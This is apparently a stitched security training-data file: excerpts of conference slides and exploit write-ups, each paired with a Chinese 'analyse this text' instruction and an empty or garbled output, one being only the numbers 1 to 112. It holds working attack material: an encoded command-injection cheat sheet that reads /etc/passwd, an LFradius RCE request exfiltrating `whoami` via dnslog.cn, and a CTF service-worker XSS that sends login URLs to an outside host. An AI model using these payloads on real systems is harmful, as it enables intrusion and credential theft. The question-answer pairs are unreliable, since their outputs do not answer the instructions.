"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualiﬁer.  And yeah this should be insanely obvious.  The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.ﬂickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
planet
"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualiﬁer.  And yeah this should be insanely obvious.  The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.ﬂickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past.  If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past.  If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
psifertex
Friday, July 31, 2009
Hi, I’m psifertex, this is my bio.  The parts that matter, anyway.
Photo copyright my dad -- used with permission, licensed the same as the presentation..
Friday, July 31, 2009
It’s probably not surprising that I prefer Linux over Windows, though the older and lazier I
get, the more Steve Jobs takes my money.
Friday, July 31, 2009...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aug 2017
Senior Malware Scientist ,Trend Micro
spark@trendmicro.com
HITCON
Source: https://ransomwaretracker.abuse.ch/tracker/cerber/
booster[0]:
0:[f1<127.5] yes=1,no=2,missing=1
1:[f7<28.5] yes=3,no=4,missing=3
3:[f5<30.95] yes=7,no=8,missing=7
7:[f0<5.5] yes=15,no=16,missing=15
15:leaf=-1.89091
16:leaf=-0.5
8:[f6<0.9045] yes=17,no=18,missing=17
 Pros
 Easy to program
 Very fast training
 Perform well against tabular input data
 Use human intelligence and heuristics
 Cons
 Hard to debug when it mis-predicts
 Development cost is high
 Feature engineering is required
Cell
x
Cell
Xt
Yt
Cell
y
Cell
z
Cell
.
Cell
t
Cell
w
Answer
h
t
t
t
W
Cell
i
Cell
k
Cell
3
Cell
.
Cell
h
Cell
k
Answer
Softmax
0.6
0.2
0.1
Cryptolocker
Clean
Locky
Cerber-RIGEK
0.1
Fully Connected
Source: https://stats.stackexchange.com/questions/273465/neural-network-softmax-activation
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: http://colah.github.io/posts/2015-08-Understanding-LSTMs/
Source: https://arxiv.org/pdf/1409.0473.pdf
 Symbols do not carry their natural semantics within them whereas
continuous signals such as audios and videos do.
www.facebook.com/n/?kjoha
GRU
GRU
GRU
GRU
Emb
Emb
Emb
Emb
Emb
Emb
GRU
GRU
GRU
GRU
GRU
Shortest URLs
Longest URLs
…
Cryptolocker
Clean
Locky
Cerber-RIGEK
 Feature
 Dataset
 Sourcing
 Legitimate URLs: Akamai log
 Cryptolocker: Malware operations team
 Locky v2/ Cerber-RIGEK : Ransomware tracker
 Splits
 train : validation : test = 0.1 : 0.1 : 0.8
Before Training
After Training
 Undetected URL from test-cryptolocker.txt
www.leriov.com:80/leriov3/player1.php?id=aH!BeF0cHM6
Ly9waG90b3MuZ29vZ2xlLmNvbS9zaGFyZS9B!BeFjF!BeFaXBNOH
B!BeFcmplbEEydU!BeFPX3ZZQTBLel!BeFKdjNmWVItMUFaM1UxQ
1UtX25oWDho!BeFjNTaDh!BeFaEs0bF85WXNlYVVySUNBP2tleT1
NMDV3YjB!BeFelNtVXpj@bfgo2TFdKVk1YQX!BeFjWHBOY0VKdGF
FdElhMHBS&id2=
 Analysis
This URL was misplaced in the test cryptolocker sample list. So this
missed detection is a correct behaviour.
 Tr...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

IOActive, Inc. Copyright ©2014.  All Rights Reserved.
Hacking Traffic Control Systems
(U.S, UK, Australia, France, etc.)
Cesar Cerrudo
@cesarcer
CTO, IOActive Labs
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
About Me
•
Hacker, vulnerability researcher, created novel exploitation
techniques, dozens of vulnerabilities found (Microsoft® Windows®,
SQL Server®, Oracle®, etc.).
•
Developed, sold exploits, and 0day vulnerabilities
(7-10 years ago)
•
CEO of software company
•
CTO at IOActive labs
•
Live in small city in third world country, far away from everything
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
Thanks
•
Barnaby Jack
•
Ruben Santamarta
•
Mike Davis
•
Mike Milvich
•
Susan Wheeler
•
Ian Amit
•
Robert Erbes
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
How all started
•
Found news that London was going to implement wireless
devices for traffic detection
– After some research found the devices vendor name
– Vendor ended up being interesting target, widely deployed
• +250 customers in 45 US States and 10 countries
• 200,000+ Wireless sensors deployed worldwide, most of them
on the US
• Countries include US, United Kingdom, China, Canada,
Australia, France, etc.
– After reading available documentation I had strong feeling
the devices were insecure
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
How It All Started
•
Getting the devices
– Social engineered the vendor
– Shipped them to Puerto Rico and traveled with them back
and forth to the U.S. from Argentina several times with no
problems
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
Devices: Wireless Sensors
•
Magnetometer, installs in a small hole
•
Rugged mechanical
design, 10 year battery life
•
TI CC2430 RF transceiver IEEE
802.15.4 system-on-chip 2.4-GHz
•
TI MSP430 MCU (microcontroller)
16-bit RISC CPU , i386 Linux
(probably TinyOS RTOS)
IOActive, Inc. Copyright ©2014.  All Rights Reserved.
Devices: Wire...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEFCON 15
August 3, 2007
Robert W. Clark
 United States v. Prochner, 417 F.3d 54 (D. Mass.
July 22, 2005)
 Definition of Special Skills
 Special skill - a skill not possessed by members of the
general public and usually requiring substantial
education, training or licensing.
 Examples - pilots, lawyers, doctors, accountants,
chemists, and demolition experts
 Not necessarily have formal education or training
 Acquired through experience or self-tutelage
 Critical question is - whether the skill set elevates to a
level of knowledge and proficiency that eclipses that
possessed by the general public.
Court Recognizes Your
Special Skills
Since You Are Special
Clark’s Law – Explain @ 3rd Grade Level
 Explaining Technology to Lawyers
 FACTS ARE KING!!!
 Explaining Computer Search/Technology
 E-Discovery Rules
Final Point- Materials Provided Contain
Greater Details than Presentation slides.
Court Recognizes Your
Special Skills
Agenda
 Active Response
 Liability for Stolen Code??
 Jurisdiction
 Civil Jurisdiction
 Criminal
 Web Sites – Liabilities & Jurisdiction
 Search & Seizure of Computers
 Home
 Work Place
 Consent & Third Party Consent
 Viacom v. Google
 E-Discovery & Forensics
 Our Discussion – Like law school, just to get you
thinking and debating.  Not necessarily an
endorsement by the presenter, aka- me.
Disclaimer
aka The Fine Print
JER 3-307.
Teaching, Speaking and Writing
a.
Disclaimer for Speeches and Writings Devoted to Agency Matters. A DoD employee who uses or
permits the use of his military grade or who includes or permits the inclusion of his title or position as
one of several biographical details given to identify himself in connection with teaching, speaking or
writing, in accordance with 5 C.F.R. 2635.807(b)(1) (reference (h)) in subsection 2-100 of this Regulation,
shall make a disclaimer if the subject of the teaching, speaking or writing deals in significant part with
any ongoing or announced policy, program or operation of the...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tomcat JMXProxy RCE
0x00 前言
在介绍该漏洞之前有必要先进行一些说明
（1）不影响默认配置的 Tomcat
（2）不影响 SpringBoot 只影响通过 war 部署的项目
（3）该漏洞为利用链中的一环，配合第三方平台未授权访问或弱口令可以直接利用
既然官方不认，那我直接公开了
0x01 Manager
Tomcat 一直存在一个不是“漏洞”的漏洞： Tomcat Manager 导致上传 war 解压生成 webshell 的 RCE
在 tomcat/conf/tomcat-users.xml 配置
访问 /manager/html 输入用户名和密码，即可在里面上传 war 进行部署
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
显然这不归 Tomcat 负责，应该由用户保证自己的账号和密码安全
Tomcat 对于 Manager 的管理页面采用了 HTTP Basic 认证，也就是用户名密码拼接后 Base64 编码
如果想要暴力破解这个身份认证其实是不太可能的，因为 Tomcat 已经考虑到这个问题：参考
LockOutRealm 类的代码，默认在输入错误5次后会锁定5分钟。这也是 Tomcat 官方拒绝该漏洞的原因
之一，他们认为基于 JMXProxy 实现的 RCE 攻击和这个类似，由用户负责安全
其实值得关心的是： Tomcat 并不仅仅支持管理页面，同时支持 API 和 JMXProxy
如果 API 可以未授权访问也会导致严重的安全问题
使用 API 的方式是： http://{host}:{port}/manager/text/{command}?{parameters}
使用 API 部署 WAR 包：
如何使用 JMXProxy 做到 RCE 是本文的重点内容
public class LockOutRealm extends CombinedRealm {
    /**
     * The number of times in a row a user has to fail authentication to be
     * locked out. Defaults to 5.
     */
    protected int failureCount = 5;
    /**
     * The time (in seconds) a user is locked out for after too many
     * authentication failures. Defaults to 300 (5 minutes).
     */
    protected int lockOutTime = 300;
}
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
0x02 JMX
JMX 与 Tomcat 无关，在 Java 官方文档对于 JMX 的定义如下：
JMX( Java Management Extensions )是一个为应用程序植入管理功能的框架。 JMX 是一套标准的代理
和服务，实际上，用户可以在任何 Java 应用程序中使用这些代理和服务实现管理。
用人话来说： JMX 让程序有被管理的功能，例如某 Web 网站是在24小时不间断运行，那么对网站进行监
控是必要的功能；又或者在业务高峰的期间，想对接口进行限流，就必须去修改接口并发的配置值。
借用网上博客一张图：一般 JMX 会通过 Adapter 实现 Web 管理页面，例如 Zabbix 和 Nagios 等工具对
于 JVM 的监控实现，老一些的平台比如 JDMK 和 MX4J 等。
结合实例来讲，我搭建了一个 MX4J 的监控平台
进入其中的 ClassLoading 属性观察：监控到类的属性，并且部分值可以在运行时进行修改
    ┌─────────┐  ┌─────────┐
    │jconsole │  │   Web   │
    └─────────┘  └─────────┘
         │            │
┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
 JVM     ▼            ▼        │
│   ┌─────────┐  ┌─────────┐
  ┌─┤Connector├──┤ Adaptor ├─┐ │
│ │ └─────────┘  └─────────┘ │
  │       ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Malware in the Gaming
Micro-economy
Zack Allen
Rusty Bower
Zack & Rusty
Background for non-gamers
● Non-functional cosmetic items
introduced in 2009
● In 2010, an update was released
that allowed players to trade
hats and weapons with each
other
● This has since been expanded
to other games
○
CS:GO, DOTA, League of Legends
Background for non-gamers
Background for non-gamers
History of Scams
History of Scams
History of Scams
History of Scams
How this all started..
Steam User Stats
Steampunks - Chasing the Criminals
Steampunks - PokeStealer
- Attacker runs Auto-
Accept Bot
- Distributes Stub.exe to
victims
- With a method of their
choosing
Steampunks - cursevoice.exe
- Installs Curse Voice
- Also installs a RAT,
giving the attack
persistent access to
the victim’s computer
Steampunks - mumble
- Dropped JavaScript
- Anti-analysis
protections
- Steals private
information from
browsers
- WScript.exe
- Installs into Startup
Steampunks - raidcall
- Dropped JavaScript
- “QEQWASDFASDF.PNG.EXE tried to sleep
1566864 seconds”
-  Approximately 62 days
- Steals private information from browsers
- WScript.exe
- Installs into Startup
Steampunks - YourSpeaks
- Unhooks multiple Windows functions
- Steals private information from browsers
- Installs into autorun
- Process Injection
- Performs HTTP requests
Steampunk - Web “TTPs”
● Attack websites
○ Phishing
○ Malware droppers
○ Both
● Domain names split into two categories
○ “Brand” abuse
○ Image website linking to .scr/.jpg/.png but file header
is executable
Brands
●
Betting/trades
○
csgolounge
○
dota2lounge
○
backpack.tf
●
Games
○
steamcommunity
○
dota2
○
csgo
●
VOIP
○
mumble
○
raidcall
○
ventrilo
Valve Responses/Fixes
Valve Responses/Fixes
Valve Responses/Fixes
Valve Responses/Fixes
Forecast
● Image site homographs/phishing will be
weapon of choice
○ Harder to detect, not clearly abusing a brand
○ Screenshots will be used consistently by
traders/buyers
● Malware will be more than just a stealer
○ Keyloggers, RATs,...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

//
`id`
$(id)
\nid
idwhoami
id&&whoami
id||whoami
//
{ls,-l}
ls\t-l
$(printf "\154\163")
l''s''
l""s
l``s
l\s
ls$u
cat /???/pass*
cat /etc$u/passwd
cat /etc/pass{wd,}
a=c;b=a;c=t;
$a$b$c 1.txt
//base64
echo 'cat' | base64
`echo 'Y2F0wqAK' | base64 -d` 1.txt
//base64cat /etc/passwd
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
//16cat /etc/passwd
echo "636174202F6574632F706173737764" | xxd -r -p|bash
//
cd - //
cd ~test ///home/test
memo
0x00
0x01
0x02
0x03
0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

(U) I hunt TR-069 admins
Shahar Tal
TOP SECRET//SI//REL TO DC22
no ISPs were harmed during the
making of this presentation
corporate legal wouldn't let us
• Shahar Tal (@jifa)
• Father, husband, geek
• 10 years with IDF
obligatory whoami
Residential Gateway Security
• It sucks.
• Pedro Joaquin (Routerpwn), Jacob Holcomb (“So hopelessly broken”),
Zachary Cutlip (“rooting SOHO”), devtty0 (D-Link “joel’s backdoor” and more)
TR-069 in 69 seconds
CPE WAN Management Protocol
(CWMP/TR-069)
TR-069 (cont.)
SOAP RPC
(XML over HTTP)
Always* initiates session
Dual authentication mechanism
TR-069 Example RPC (ACSCPE)
<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header>
<cwmp:ID soapenv:mustUnderstand="1">1337069</cwmp:ID>
</soapenv:Header>
<soapenv:Body>
<cwmp:SetParameterValues>
<ParameterList soap:arrayType="cwmp:ParameterValueStruct[1]">
<ParameterValueStruct>
<Name>InternetGatewayDevice.ManagementServer.URL</Name>
<Value xsi:type="xsd:string">http://acs.supersecureisp.com/cwmp/</Value>
</ParameterValueStruct>
</ParameterList>
<ParameterKey>1337069</ParameterKey>
</cwmp:SetParameterValues>
</soapenv:Body>
</soapenv:Envelope>
<soap:Body>
<cwmp:Inform>
<DeviceId>
<Manufacturer>Secure-Devices-R-Us</Manufacturer>
<OUI>001337</OUI>
<ProductClass>IGD</ProductClass>
<SerialNumber>123456789</SerialNumber>
</DeviceId>
<Event soap-enc:arrayType="cwmp:EventStruct[1]">
<EventStruct>
<EventCode>2 PERIODIC</EventCode>
<CommandKey />
</EventStruct>
</Event>
<MaxEnvelopes>1</MaxEnvelopes>
<CurrentTime>2014-08-09T01:49:14+00:00</CurrentTime>
<RetryCount>0</RetryCount>
<ParameterList soap-enc:arrayType="cwmp:ParameterValueStruct[6]">
<ParameterValueStruct>
<Name>Device.DeviceSummary</Name>
<Value xsi:type="xsd:string" />
</ParameterValueStruct>
<ParameterValu...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Kenny @ Chroot.org
Operation GG (Good Game)
台灣最熱⾨門網遊安裝檔 驚⾒見APT後⾨門
•  Introduction 玩家⾓角度 (Kenny)
–  如何發現 / 偵測?
–  Event TimeLine
•  Operation Winnti (Kaspersky 報告) (GD)
•  Operation Old Cooper 通報+追查(PK)
•  Unplugging PlugX 清除 (Trend Micro)
I am just a Player.
線上遊戲代理商，以串連世界玩家⼀一同遊戲為主要事業。
在東南亞和台灣創造了最⼤大的線上遊戲平台。
英雄連萌
流氓按到
2014.12.26
好久沒玩LOL,
來虐菜(欺負新⼿手)⼀一下~
……..
如果是⼀一般玩家很可能…..
驚慌失措類型
我的謎⽚片檔案安全嗎?
誰可以幫我處理?
電腦會爆炸嗎?
有個性類型
爛防毒拉
誤報拉
電腦關機
病毒就會餓死拉
第⼀一時間我覺得…
WTF !!
我只是想玩LOL
沒有要玩病毒阿….
這下好玩了
研究⼀一下病毒從哪來的呢?
但我剛好是略懂資安技能的玩家…
最簡單的辨認⽅方法
https://www.virustotal.com/
惡意後⾨門存放位置
C:\windows\System32\NtUserEx.dll
C:\windows\System32\NtUserEx.dat
C&C Server位置
Domain:
gs2.playdr2.tw
gs3.playdr2.tw
gs4 playdr2 tw
 特徵：
update?id=00xxxxxx
秉持著調查精神
決定更深⼊入追查
取得遊戲管道
官網下載器
Game
官網⾴頁⾯面
Game
Cloud Server
調查結果
https://vulreport.net/
佈
由這次的後⾨門看出攻擊者可能有特殊⾝身分
討論後有了更驚⼈人的發現
(這些都是公開報告，可上卡巴網站下載)
資料來源：各大資安公司報告


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ripping Media Off of the Wire
A Step-by-Step Guide
A Step-by-Step Guide
By Honey
honey.rtmp@gmail.com
whoami: Honey is
 a Network Administrator for 4+ years
 a Research Assistant for a Ballistic research grant by the
NIST
 an Adjunct Professor at John Jay College of Criminal
 an Adjunct Professor at John Jay College of Criminal
Justice, located in NYC
 gaining her Master’s degree in Forensic Computing
 has worked in the IT industry for the past 9+ years.
 holds a Computer of Information Systems B.S.
 dual A.A.S. degrees in Industrial Electronic Engineering
and Computer Networking
Scope: Download MP3s from
Discussion of lack of security of
“protected streaming” implementations
Tools:
 wget version 1.11.4i
 Mozilla Firefox version 3.6.3ii
 an add-on for Mozilla Firefox called: “HttpFox” version
0.8.4iii
0.8.4iii
 rtmpdump version 2.1b for windowsiv
 “Convert FLV to MP3 version 1.0”
 * All tools used are available for use under the GNU
license. Specific versions are cited although may not
be required
Disclosure:
 This presentation describes methods to download
protected materials in an effort raise awareness of
the various weaknesses that exist within each
implementation.
implementation.
 All music/media used in this demonstration has the
appropriate permissions for use by the musical artists
themselves.
 Any illegal use of the following methods by third
parties is the sole responsibility of the third party.
 The author of this presentation bares no legal
responsibility for misuse of said techniques.
Legal Statement:
 The following demonstration does violate YouTube‘s terms of
service, MySpace’s terms of service, and the Digital Millennium
Copyright Act, and intellectual property rights, should you
download copyrighted materials.
 YOUR USE OF THE INCLUDED TECHNIQUES SHALL BE AT
YOUR OWN RISK.
YOUR OWN RISK.
 IN NO EVENT SHALL THE PRESENTER, DEFCON, OR ANY
DEFCON EMPLOYEES, BE LIABLE TO YOU FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, PUNITIV...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

KNOCK? KNOCK? WHOIS THERE?
APT ATTRIBUTION AND DNS PROFILING
Frankie Li
ranerwang@gmail.com
Twitter: @espionageware
•
APT Attribution: Who wrote these codes?
•
Tactics, Techniques and Procedures (TTP)
•
Behavior of APT adversary
•
HUMINT extracted from DNS
•
Gather intelligence from open source (aka OSINT)
•
Dynamically monitoring of PassiveDNS è PassiveWhois
•
Analysis by visualization tool (Maltego)
•
Tools and demo
AGENDA
•
From a place in China, but not so China ;)
•
Sunday researcher in malware analysis and digital forensics
•
Part time lecturer
•
A Lazy blogger (espionageware.blogspot.com)
•
NOT associated with PLA 61398 or Mandiant
•
NOT associated with PLA 61486 or CrowdStrike or Taia Global or ThreatConnect
WHO AM I?
APT ATTRIBUTION
•
Disclaimer: Not going to provide any opinion on the latest indictment or 奶⻩黄包 or 楼主 or
上海钟楼
•
http://espionageware.blogspot.com or Twitter: @espionageware
•
Not a concern for private sector, but for LE or intelligence agencies
•
Not difficult, if you have source code
•
Not hard, if you focus only on strings & human readable data within a malware program
•
But, to attribute responsibility with “Certainty” is almost impossible, unless they make a
mistake
APT ATTRIBUTION
•
Source code attribution
•
Attributes of Windows binaries
•
Attribution malware
•
Attribution of APT by digital DNA
WHO WROTE THESE CODES?
•
Stylometry, the application of attribute the authorship by coding style
•
Kind of profiling by writing style
•
Comments and coding crumbs
•
JStylo: By comparing unknowns documents with a known candidate author’s document*
•
Not a solution because most APT samples collected are compiled binaries
SOURCE CODE ATTRIBUTION
*Islam, A. (2013). Poster: Source
Code Authorship Attribution
•
PE headers are des-constructed and metadata (artifacts) are categorized (Yonts, 2012)
•
Extract the technical and contextual attributes or “genes” from different “layers...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hijacking Arbitrary .NET
Application Control Flow
Topher Timzen
Security Researcher, Intel
Security Trainer
TopherTimzen.com
@TTimzen
#whoami
Overview
.NET?
Runtime Attacks
Modify Control Flow
Machine Code Editing
Managed Heap
Tools Released
Use .NET to attack
Using Objects on the Heap
Why are we Here?
CLR Attacks
Controlling the Common Language
Runtime
Accessing raw objects on Managed Heap
Manipulate AppDomains
• Controlling all Loaded Code
• Controlling Just-In-Time Compilation
Attack With ASM
Manipulate Resources
Attack methods at ASM level
Alter application control flow
Runtime
.NET Process
 CLR (2.0/4.0) & AppDomains
Assemblies (.EXE and .DLL(s))
Objects
Properties
Fields
Instance Methods
Classes
Methods
Logic
Gray Frost
&
Gray Storm
The Tools
Gray Frost
Gray Frost
Payload delivery system
C++ .NET CLR Bootstrapper
 Creates or injects 4.0 runtime
 Capability to pivot into 2.0 runtime
    Contains raw payload
2 Rounds
GrayFrostCpp
GrayFrostCSharp
• C# Payload
Round 1
.NET Process
Round 1
Mscoree
GrayFrostCpp
Round 1
GrayFrostCpp
Round 1
GrayFrostCSharp
GrayFrostCpp
Round 2
.NET Process
Round 2
.NET Process
GrayFrostCSharp
Round 2
.NET Process
payload void
main()
GrayFrostCSharp
Round 2
.NET Process
Payload
.NET Process
Pivoting Between runtimes
Mscoree
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCSharp
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCSharp
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCSharp
GrayFrostCpp
Pivoting Between runtimes
GrayFrostCSharp
GrayFrostCpp
Pivoting Between runtimes
Gray Storm
Gray Storm
Reconnaissance and In-memory attack
payload
Features
Attacking the .NET JIT
Attacking .NET at the ASM level
ASM and Metasploit payloads
Utilize objects on the Managed Heap
Gray Storm Usage
Controlling the JIT
Method Tables contain address o...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

http://www.infobytesec.com
Francisco Amato / Federico Kirschbaum
evilgrade, "You STILL have pending
upgrades!“
Defcon 18 2010
http://www.infobytesec.com
Introduction
Topics
- Client side explotation
- Update process
- Poor implementation of update processes
- Attack vectors
- evilgrade framework presentation
http://www.infobytesec.com
Introduction
Client side explotation
Searching the Weakest Link
Bypassing the fortress walls
This technique allows for example transform a user
terminal in a “proxy” to access the internal network
of a company
http://www.infobytesec.com
General application’s update process
How does it works?
• Update process are either manual or automatic.
• The process requests a special file in the master
server for example update.application.com/info.xml
• The file has the internal information of the
available updates.
•It’s installed automatic or ask if you like to install
the new update.
http://www.infobytesec.com
What’s the problem?
http://www.infobytesec.com
Is there any problem?
Trust
• A lot of application don’t verify the updates
contents.
• They blindly trust without verification of the
master update server.
http://www.infobytesec.com
evilgrade
Tool Information
evilgrade is modular framework that allow us to
take advantage of poor update implementations by
 injecting fake updates.
• It’s a opensource project
• It’s developed in Perl
http://www.infobytesec.com
evilgrade
How does it work?
It  works with modules, each module implements
the structure needed to emulate a false update of
specific application.
evilgrade needs the manipulation of the victims’s
dns traffic
http://www.infobytesec.com
evilgrade
Normal update process
1.
App1 start the update process
2.  Consult to the dns server hos...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

app="LF-"
 <?php
class ping extends spController
{
    function main()
    {
        $host = $_GET['host'];
        $num = (int) $_GET['num'];
        $host = str_replace("|", "", $host);
        $host = str_replace(" ", "", $host);
        $host = str_replace("&", "", $host);
        $host = str_replace(">", "", $host);
        $host = str_replace("<", "", $host);
        if (!$host) {
            die("ûύIP");
        }
        if (!$num) {
            if (!filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
                if (lf_getaddrbyhost("www.qq.com") == "www.qq.com") {
                    die("ӵã
");
                }
                $host = lf_getaddrbyhost($host);
fofa
rce1
            }
            unset($_COOKIE['ping']);
            setcookie("ping", $host, time() + 20, "/");
            echo "5pingԣ[" . $_GET['host'] . "]
";
            echo 'PING ' . $host . ' (' . $host . ') 56(84) bytes of data.
';
            die;
        } else {
            $host = $_COOKIE['ping'];
        }
        $result = lf_rootrun('ping -c 1 -W 2 ' . $host . '|grep icmp', 1);
        if ($result) {
            echo $result . "
";
        } else {
            echo 'reply time out!
';
        }
        if ($num == 5) {
            echo 'ɣ';
            unset($_COOKIE['ping']);
            setcookie("ping", NULL, -1, "/");
        }
    }
    function start()
    {
        $this->host = $_GET['host'];
        $this->display("ping.html");
    }
}
GET /lfradius/login.php/eth/login.php?c=ping&a=main&host=`whoami`.v4d331.dnslog.cn&num=0 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chr
ome/78.0.3904.108 Safari/537.36
Accept: */*
Referer: http://xxx/lfradius/login.php/eth/qos
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5v4cr5he1eo0lra761tuqb6tho; check_admin_pass=1; lfradius_menu_save_cookie=1; lfradi
us_nav_content_active=14; lf_timeout=1625018466; ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

android UnCrackable
OWASPcrackmeapp
Githubhttps://github.com/OWASP/owasp-mstg/tree/master/Crackmes
: https://pan.baidu.com/s/1YCiUU2Xy2xBSUQNxric8mQ  : 81kn
pixel xl arm64-v8a
python 3.8.0
frida 12.8.0
java 11.0.8
jadx 1.1.0
IDA 7.0
Ghidra 9.1.2
Android Level 1
UnCrackable1
javaroot
jadxfrida
owasp-mstg/Crackmes/Android/Level_01(master*) » adb install UnCrackable-
Level1.apk
Performing Streamed Install
Success
root
root
jadxapk root
c.a\c.b\c.croot
···
 public void onCreate(Bundle bundle) {
        if (c.a() || c.b() || c.c()) {
            a("Root detected!");
        }
        if (b.a(getApplicationContext())) {
            a("App is debuggable!");
        }
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
    }
···
rootfridahook
package sg.vantagepoint.a;
import android.os.Build;
import java.io.File;
public class c {
    public static boolean a() {
        for (String file : System.getenv("PATH").split(":")) {
            if (new File(file, "su").exists()) {
                return true;
            }
        }
        return false;
    }
    public static boolean b() {
        String str = Build.TAGS;
        return str != null && str.contains("test-keys");
    }
    public static boolean c() {
sg.vantagepoint.a.croot
cabchookfalse
frida
        for (String file : new String[]{"/system/app/Superuser.apk",
"/system/xbin/daemonsu", "/system/etc/init.d/99SuperSUDaemon",
"/system/bin/.ext/.su", "/system/etc/.has_su_daemon",
"/system/etc/.installed_su_daemon",
"/dev/com.koushikdutta.superuser.daemon/"}) {
            if (new File(file).exists()) {
                return true;
            }
        }
        return false;
    }
}
Java.perform(function () {
        send("hook start");
        var c=Java.use("sg.vantagepoint.a.c");
        //false
        c.a.overload().implementation = function(){
            return false;
        }
        c.b.overload().implementation = function(){
            return false;
        }
        c.c.ov...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

西湖论剑 WP-Nu1L
WEB
HardXSS
网站就 dns 爆破 + 提交 xss + 管理员登录三个功能, 用了两个域名`xss.xss.` , `auth.xss.`
题目有句话 `我收到邮件后会先点开链接然后登录我的网站！` , 这么一看这个题应该是需要作
一个 xss 持久化的. xss 持久化就两种方式 serviceworker, 和 cache. cache 在这个题目里面没
法控制, 所以就得 serviceworker. 要用 serviceworker 就得找一个能 xss 的点, 去注册这个
serviceworker.
这里我们看代码发现一个 jsonp, 而且没有过滤, 于是就用这个路由做 xss, 代码就不分析了,
反正就是调用 jsonp 没过滤, 后面也要用到.
https://xss.xss.eec5b2.challenge.gcsis.cn/login?callback=eval(atob(lala))//&lala=YWxlc
nQoMSk%3d
因为登录用到的用户名密码是传输到了 auth.xss.这个域名, 如果要注册 serviceworker, 需要
serviceworker 的 js 在 auth.xss.这个域名下, 也就是需要这个域名下的一个可控的点去放
serviceworker 的 js. 也就是我们上面发现的 jsonp 的这个点
https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginStatus?callback=50chars
这里有 50 个字符的限制, 但是我们可以把真实的 payload 放到我们服务器上, 让
serviceworker 去 import
第一个 js
navigator.serviceWorker.register("https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginS
tatus?callback=importScripts('//d7cb7b72.y7z.xyz/xhlj2.js');//")
第二个 js
self.addEventListener('fetch', function (event) {
    var url = event.request.clone();
    body =
'<script>fetch("https://d7cb7b72.y7z.xyz/?'+btoa(url.url)+'").then(function
(resp){console.log(resp)})</script>';
    init = {headers: { 'Content-Type': 'text/html' }};
    if(url.url.startsWith('https://auth.xss.eec5b2.challenge.gcsis.cn/api/loginVerify')){
        res  = new Response(body,init);
        event.respondWith(res.clone());
    }
});
最后一个问题就是 serviceworker 在注册的时候必须是同源的页面才能注册上
访问 auth.xss.这个域名, 可以看到在主页上有一个 document.domain="xss."的一个操作.
那么就可以联想到跨域的操作里面有一个就是利用 document.domain 和 iframe 去做的. 那
么我们就可以利用之前找到的 xss 去实现这个操作.
